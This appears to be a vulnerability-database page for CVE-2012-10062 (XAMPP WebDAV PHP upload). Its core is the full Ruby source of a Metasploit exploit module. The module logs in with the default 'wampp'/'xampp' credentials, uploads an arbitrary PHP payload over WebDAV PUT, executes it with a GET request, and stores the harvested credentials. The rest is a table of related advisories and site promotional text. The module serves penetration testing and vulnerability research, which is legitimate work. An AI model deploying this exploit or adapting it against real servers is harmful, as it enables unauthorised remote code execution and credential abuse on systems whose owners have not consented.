| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2012-10062 | 30 Aug 202513:57 | – | attackerkb | |
| CVE-2012-10062 | 29 May 201815:50 | – | circl | |
| XAMPP 安全漏洞 | 30 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10062 | 30 Aug 202513:57 | – | cve | |
| CVE-2012-10062 XAMPP WebDAV PHP Upload Authentication Bypass RCE | 30 Aug 202513:57 | – | cvelist | |
| EUVD-2012-6608 | 7 Oct 202500:30 | – | euvd | |
| WebDAV PHP Upload | 21 Apr 202619:02 | – | metasploit | |
| CVE-2012-10062 | 30 Aug 202514:15 | – | nvd | |
| XAMPP WebDAV PHP Upload Vulnerability (Jan 2012) - Active Check | 17 Jan 201200:00 | – | openvas | |
| PT-2025-35371 | 30 Aug 202500:00 | – | ptsecurity |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/http/xampp_webdav_upload_php'
def initialize(_info = {})
super(
'Name' => 'WebDAV PHP Upload',
'Description' => %q{
This module exploits WebDAV which also has PHP enabled,
such as found on XAMPP servers.
It can use do by using any supplied credentials to upload via WebDAV,
a PHP payload and then execute it.
},
'Author' => [
'theLightCosine',
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic', {} ],
],
'DisclosureDate' => '2012-01-14',
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2012-10062' ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
register_options(
[
OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]),
OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]),
OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]),
OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ])
]
)
end
def build_res_creds
if !datastore['USERNAME'].to_s.empty?
vprint_status 'Using credentials for WebDAV'
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
else
vprint_status 'Anonymous authentication for WebDAV'
{}
end
end
def print_res_code(res, res_creds)
if res.code == 401
print_warning 'Creds may be required' if res_creds.empty?
print_warning 'Creds may be incorrect' if !res_creds.empty?
end
end
def report_webdav_service(res, creds)
header_server = res.headers['Server'].to_s.strip
vprint_status "Server: #{header_server}"
opts = {
ip: rhost,
port: rport,
service_name: 'webdav',
proto: 'tcp',
proof: res.code.to_s
}.merge(creds.transform_keys(&:to_sym))
service = report_service(
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
name: opts[:service_name],
info: header_server,
parents: {
name: ssl ? 'https' : 'http',
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
parents: {
name: 'tcp',
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
parents: nil
}
}
)
[opts, service]
end
def report_webdav_creds(opts, service)
# XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
report_vuln(
host: opts[:ip],
service: service,
name: name
)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts[:proto],
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:username],
private_data: opts[:password],
private_type: :password
}.merge service_data
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge service_data
create_credential_login login_data
end
def check
test_file = rand_text_alphanumeric(rand(8..15)) + '.php'
test_url = normalize_uri(datastore['URI'], test_file)
payload = rand_text_alphanumeric(rand(8..15))
res_creds = build_res_creds
# Check
vprint_status "Checking for WebDAV: #{datastore['URI']}"
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'method' => 'OPTIONS'
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown unless res
unless res.code == 200
print_error "Target responded: HTTP #{res.code}, should be 200"
print_res_code(res, res_creds)
return Exploit::CheckCode::Unknown
end
# Record results!
opts, service = report_webdav_service(res, res_creds)
# First see if it already exists (it really shouldn't)
vprint_status "Checking for test file: #{test_url}"
res = send_request_raw({
'uri' => test_url
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file
# Try to create it
vprint_status "Attempting to upload: #{test_url}"
res = send_request_cgi({
'uri' => test_url,
'method' => 'PUT',
'data' => payload
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown unless res
## Often its HTTP 201
unless res.code.to_i.between?(200, 299)
print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
print_res_code(res, res_creds)
return Exploit::CheckCode::Safe
end
# Record results!
report_webdav_creds(opts, service)
# Try to run it
vprint_status "Checking if created: #{test_url}"
res = send_request_cgi({
'uri' => test_url
}.merge(res_creds))
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299)
return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload)
# Clean up
vprint_status "Attempting to delete: #{test_url}"
res = send_request_cgi({
'uri' => test_url,
'method' => 'DELETE'
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown unless res
# Exploit uses cmd to delete via file system, not HTTP DELETE request
print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204
# Done
return Exploit::CheckCode::Vulnerable
end
def exploit
uri = build_path
res_creds = build_res_creds
print_status "Uploading payload: #{uri}"
res = send_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw
}.merge(res_creds), 10)
## Often its HTTP 201
unless res&.code&.between?(200, 299)
print_error 'Failed to upload file!'
if res
print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
print_res_code(res, res_creds)
else
print_error 'No response received from server'
end
return
end
# Record results!
opts, service = report_webdav_service(res, res_creds)
report_webdav_creds(opts, service)
print_status 'Attempting to execute payload'
# Very short timeout because the request may never return if we're sending a socket payload
send_request_cgi({
'uri' => uri,
'method' => 'GET'
}.merge(res_creds), 0.01)
register_file_for_cleanup(@backdoor)
end
def build_path
uri_path = normalize_uri(datastore['URI'])
uri_path << '/' unless uri_path.ends_with?('/')
@backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
@backdoor << '.php' unless @backdoor.end_with?('.php')
uri_path << @backdoor
return uri_path
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation